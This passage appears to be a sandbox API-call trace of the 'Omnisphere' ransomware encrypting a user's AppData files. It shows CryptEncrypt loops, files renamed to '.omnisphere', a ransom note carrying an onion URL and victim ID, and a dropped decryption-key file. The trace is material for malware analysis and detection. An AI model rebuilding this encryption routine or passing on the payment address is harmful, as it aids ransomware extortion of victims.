pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.425] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.425] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.425] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.425] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.425] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.425] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.427] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0057.427] CryptReleaseContext (hProv=0x163b8e8, dwFlags=0x0) returned 1 [0057.427] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xd550, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0057.427] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0057.427] GetProcessHeap () returned 0x1600000 [0057.428] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x290) returned 0x1649bd8 [0057.428] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\0qM7PXCSnWH2CmmBFnz8.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\0qm7pxcsnwh2cmmbfnz8.avi"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\0qM7PXCSnWH2CmmBFnz8.avi.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\0qm7pxcsnwh2cmmbfnz8.avi.omnisphere")) returned 1 [0057.431] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\0qM7PXCSnWH2CmmBFnz8.avi.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\0qM7PXCSnWH2CmmBFnz8.avi.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\0qM7PXCSnWH2CmmBFnz8.avi.omnisphere.id" [0057.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\0qM7PXCSnWH2CmmBFnz8.avi.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\0qm7pxcsnwh2cmmbfnz8.avi.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0057.431] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0062.847] CloseHandle (hObject=0x3a8) returned 1 [0062.849] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0062.849] CloseHandle (hObject=0x3a4) returned 1 [0062.849] SetEndOfFile (hFile=0x3a0) returned 1 [0062.849] FlushFileBuffers (hFile=0x3a0) returned 1 [0062.853] CloseHandle (hObject=0x3a0) returned 1 [0062.854] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\0qM7PXCSnWH2CmmBFnz8.avi" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0062.854] GetProcessHeap () returned 0x1600000 [0062.854] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16514e0 [0062.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0062.854] GetProcessHeap () returned 0x1600000 [0062.854] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641d40 [0062.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641d40, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0062.854] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0062.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.854] GetProcessHeap () returned 0x1600000 [0062.854] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x163ab50 [0062.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x163ab50, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0062.855] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0062.855] GetProcessHeap () returned 0x1600000 [0062.855] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c388 [0062.855] PathCombineW (in: pszDest=0x163c388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0062.855] GetProcessHeap () returned 0x1600000 [0062.855] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1651a00 [0062.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.856] WriteFile (in: hFile=0x3a0, lpBuffer=0x1651a00*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1651a00*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0062.857] CloseHandle (hObject=0x3a0) returned 1 [0062.857] GetProcessHeap () returned 0x1600000 [0062.857] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16514e0 | out: hHeap=0x1600000) returned 1 [0062.857] GetProcessHeap () returned 0x1600000 [0062.857] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f980 [0062.858] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0062.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.858] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0062.859] CloseHandle (hObject=0x3a0) returned 1 [0062.859] GetProcessHeap () returned 0x1600000 [0062.859] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0062.860] GetProcessHeap () returned 0x1600000 [0062.860] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163c5a8 | out: hHeap=0x1600000) returned 1 [0062.860] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f25e4c0, ftCreationTime.dwHighDateTime=0x1d4d47a, ftLastAccessTime.dwLowDateTime=0xa62eb660, ftLastAccessTime.dwHighDateTime=0x1d4d2c0, ftLastWriteTime.dwLowDateTime=0xa62eb660, ftLastWriteTime.dwHighDateTime=0x1d4d2c0, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x0, dwReserved1=0xed, cFileName="0uznes.gif", cAlternateFileName="")) returned 1 [0062.860] GetProcessHeap () returned 0x1600000 [0062.860] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a420 [0062.860] PathCombineW (in: pszDest=0x163a420, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="0uznes.gif" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\0uznes.gif") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\0uznes.gif" [0062.860] StrStrW (lpFirst=".omnisphere", lpSrch=".gif") returned 0x0 [0062.860] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\0uznes.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\0uznes.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.860] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=52562) returned 1 [0062.860] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xc82e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0062.861] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0062.861] GetTickCount () returned 0x1150079 [0062.861] GetTickCount () returned 0x1150079 [0062.861] GetTickCount () returned 0x1150079 [0062.861] GetTickCount () returned 0x1150079 [0062.861] GetTickCount () returned 0x1150079 [0062.861] GetTickCount () returned 0x1150079 [0062.861] GetTickCount () returned 0x1150079 [0062.861] GetTickCount () returned 0x1150079 [0062.861] GetTickCount () returned 0x1150079 [0062.861] GetTickCount () returned 0x1150089 [0062.862] GetTickCount () returned 0x1150089 [0062.862] GetTickCount () returned 0x1150089 [0062.862] GetTickCount () returned 0x1150089 [0062.862] GetTickCount () returned 0x1150089 [0062.862] GetTickCount () returned 0x1150089 [0062.862] GetTickCount () returned 0x1150089 [0062.862] GetTickCount () returned 0x1150089 [0062.862] GetTickCount () returned 0x1150089 [0062.862] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] GetTickCount () returned 0x1150089 [0062.863] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c630) returned 1 [0062.864] CryptImportKey (in: hProv=0x163c630, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639728) returned 1 [0062.864] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0062.865] CryptDestroyKey (hKey=0x1639728) returned 1 [0062.865] CryptReleaseContext (hProv=0x163c630, dwFlags=0x0) returned 1 [0062.865] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcd52, lpName=0x0) returned 0x3a4 [0062.865] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcd52) returned 0x3430000 [0062.866] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163b9f8) returned 1 [0062.866] CryptImportKey (in: hProv=0x163b9f8, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x16396a8) returned 1 [0062.867] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.867] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.868] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.869] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.869] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, 